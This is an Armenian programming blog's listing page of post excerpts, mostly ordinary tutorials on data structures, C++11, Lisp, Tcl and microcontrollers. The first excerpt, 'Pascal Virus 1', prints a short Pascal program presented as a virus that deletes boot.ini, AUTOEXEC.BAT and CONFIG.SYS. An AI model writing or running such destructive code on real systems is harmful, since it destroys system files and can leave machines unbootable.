Սկիզբ » Ուսումնական նյութեր » Ծրագրավորում (Էջ 6)

RSSԲաժին: Ծրագրավորում

 Պասկալ Վիրուս 1

Պասկալ Վիրուս 1

| Փետրվար 14, 2013 |

էն ով էր ասում, որ պասկալը հիմար և հնացած ծրագրավորման լեզու ա?????? Դու? Դե կարդա էս հոդվածը! Գրելու եմ 1 հոդված- 1 վիրուս ձևով (Բացի էս մեկից): Վիրուս Համար 1: program virus1; var f : file; begin assign(f, ‘c:/boot.ini’); erase(f); assign(f, ‘c:/AUTOEXEC.BAT’); erase(f); assign(f, ‘c:/CONFIG.SYS’); erase(f) end. Դե ոնց հասկացար վիրուսը ուղղակի ՈՉՆՉԱՑՆՈՒՄԱ  3 շատ […]

Կարդալ ամբողջը

Տն. աշխ. #3: Նախապատվություններով հերթ

Տն. աշխ. #3: Նախապատվություններով հերթ

| Փետրվար 14, 2013 |

Հերթի այն տեսակը, որտեղ տարրերը կարող են ավելացվել կամայականորեն, բայց կարող են հեռացվել միայն ըստ նրանց մեջ սահմանված կարգի, կոչվում է նախապատվություններով հերթ։ Օրինակ, եթե որպես հերթի մեջ ավելացվող տարրեր դիտարկվում են թվերը, իսկ թվերի մեջ սահմանված կարգ է հանդիսանում “<” (փոքր է) գործողությունը, ապա ամեն անգամ հերթից որևէ տարր պահանջելով կստանանք այնտեղ եղած տարրերից […]

Կարդալ ամբողջը

Ապարատային PWM՝ լայնույթահաճախային մոդուլյաիցա, atmega8 միկրոկոնտրոլերի թայմերների ծրագրավորման միջոցով։

Ապարատային PWM՝ լայնույթահաճախային մոդուլյաիցա, atmega8 միկրոկոնտրոլերի թայմերների ծրագրավորման միջոցով։

| Փետրվար 10, 2013 |

PWM կամ լայնույթահաճախային մոդուլյացիա – բեռի վրա լարման միջին արժեքի կառավարում ազդանշանի լայնույթահաճախային պարամետրերի կարգաբերման միջոցով։ Լարման կարգաբերման այս եղանակը, ի տարբերություն լարման բաժանարարի և տրանզիստորային սխեմաների հարմար է նրանով, որ ունի բավական բարձր օգգ և ցածր ջերմանջատում։ Միկրոկոնտրոլերի միջոցով pwm ազդանշան կարելի է ստանալ 2 հակադիր ճանապարհներով՝ ապարատային և ծրագրային։ Ապարատային pwm ազդանշանի ստացման […]

Կարդալ ամբողջը

Տնային աշխատանք #2։ Սիմվոլիկ դիֆերենցում

Տնային աշխատանք #2։ Սիմվոլիկ դիֆերենցում

| Փետրվար 8, 2013 |

Մի քանի օր առաջ թերթում էի Structure and Interpretation of Computer Programs գիրքը և աչքովս ընկավ մի օրինակ, որտեղ հաշվում էր պարզագույն մաթեմատիկական արտահայտությունների դիֆերենցիալը (2.3.2 Example: Symbolic Differentiation)։ Փորձեցի այն վերարտադրել Tcl լեզվով ու ահա թե ինչ ստացվեց։ Նախապես ասեմ, որ արտահայտություները սահմանափակված են միայն գումարում, հանում, բազմապատկում և բաժանում բինար գործողություններով, իսկ դիֆերենցիալը […]

Կարդալ ամբողջը

Չփոփոխվող տվյալների կառուցվածքների մասին

Չփոփոխվող տվյալների կառուցվածքների մասին

| Հունվար 30, 2013 |

Շարունակելով իմ նախորդ գրառման բինար որոնման ծառերի թեման, ուզում եմ նույն այդ օրինակով ցույց տալ, թե ինչպես կարելի է ծրագրեր գրել օգտագործելով միայն չփոփոխվող (immutable) տվյալների կառուցվածքներ։ Այս անգամ բինար որոնման ծառերի վարքը ծրագրավորել եմ Scheme լեզվով (այն Lisp ընտանիքի թերևս ամենահայտնի ներկայացուցիչն է)։ Ծառը ներկայացված է ցուցակի տեսքով, որի առաջին տարրը արմատի արժեքն է, […]

Կարդալ ամբողջը

C++11: Բինար որոնման ծառեր

C++11: Բինար որոնման ծառեր

| Հունվար 24, 2013 |

Այս գրառման մեջ ես ներկայացնում եմ բինար որոնման ծառի (binary search tree, BST) դասի ծրագրավորումը C++11 լեզվով։ Բինար որոնման ծառերն առանձնանում են նրանով, ամեն մի հանգույցի պարունակած արժեքը ավելի փոքր է քան նրա ձախ ենթածառի արժեքները և ավելի մեծ է, քան նրա աջ ենթածառի արժեքները։ Քանի որ բինար ծառի ամեն մի հանգույցը կարող է ունենալ […]

Կարդալ ամբողջը

Common Lisp: Պարզ ու կատարյալ թվերի մասին

Common Lisp: Պարզ ու կատարյալ թվերի մասին

| Հունվար 20, 2013 |

«N թիվը կոչվում է պարզ, եթե այն բացի մեկից և իրենից այլ բաժանարարներ չունի։» Եթե թվի պարզությունը որոշող ֆունկցիան գրենք ըստ այս սահմանման, ապա պետք է որ ստանանք մոտավորապես հետևյալը․ (defun is-prime-a (num) (loop for k from 2 to (1- num) never (zerop (mod num k)))) Սա իմպերատիվ լուծում է, որտեղ ցիկլի կազմակերպմամբ բացահայտորեն նկարագրված […]

Կարդալ ամբողջը

Tcl ցուցակների հետ աշխատանքը

Tcl ցուցակների հետ աշխատանքը

| Հունվար 17, 2013 |

Ցուցակները Tcl լեզվում կառուցվում են list պրոցեդուրայով։ Այն ստանում է արգումենտների ցուցակ, հաշվարկում է դրանք և արդյունքներից կառուցվում է նոր ցուցակ։ Օրինակ, set a [list [expr 1 + 2] 7 [expr 34 * 2]] պրոցեդուրայի կատարումը a փոփոխականին կվերագրի {3 7 68} ցուցակը։ Հաստատուններից ցուցակ կարելի է կառուցել դրանք պարզապես թվարկելով “{” և “}” փախագծերի […]

Կարդալ ամբողջը

C++11: Կապակցված ցուցակներ (II)

C++11: Կապակցված ցուցակներ (II)

| Հունվար 9, 2013 |

Ժամանակ առ ժամանակ ինձ մոտ ցանկություն է առաջանում ծանոթանալ C++ լեզվի C++11 ստանդարտի հնարավորություններին։ Այս գրառման մեջ ես երկկապակցված ցուցակի (doubly linked list) իրականացման օրինակով փորձում եմ ծանոթանալ լեզվի այնպիսի նորամուծություններին, ինչպիսիք են զրոյական ցուցիչի nullptr արժեքը, տիպի դուրսբերման auto եղանակը, արժեքավորող ցուցակով կոնստրուկտորները, մի կոնստրուկտորում մեկ այլ կոնստրուկտորի օգտագործումը, և այլն։ * * * […]

Կարդալ ամբողջը

Android + PC + Arduino: Տնային սարքերի կառավարում անդրոիդ օհ -ով սմարթ ֆոնից/պլանշետից: Մաս 7, Էլեկտրոնային համակարգերի ավտոմատ նախագծման PROTEUS համակարգ. Տվյալների փոխանցում UART/USART ինտերֆեյսի միջոցով:

Android + PC + Arduino: Տնային սարքերի կառավարում անդրոիդ օհ -ով սմարթ ֆոնից/պլանշետից: Մաս 7, Էլեկտրոնային համակարգերի ավտոմատ նախագծման PROTEUS համակարգ. Տվյալների փոխանցում UART/USART ինտերֆեյսի միջոցով:

| Հունվար 4, 2013 |

Շարունակում ենք: Նախորդ մասում հավաքեցինք սարքի սեխման, բայց այն չի սիմուլացվի Proteus -ում այնքան ժամանակ քանի դեռ չենք գրել և տեղակայել միկրոկոնտրոլերի firmware -ը: Ինչը և կանենք հիմա: ՈՒրեմն քաշում ենք Code VIsionAvr -ծրագրիրը այստեղից  , տեղակայում և բացում ենք: Ստեղծում ենք նոր project: File -> New:   Բացվում է փոքրիկ դիալոգային պատուհան` Create New […]

Կարդալ ամբողջը

61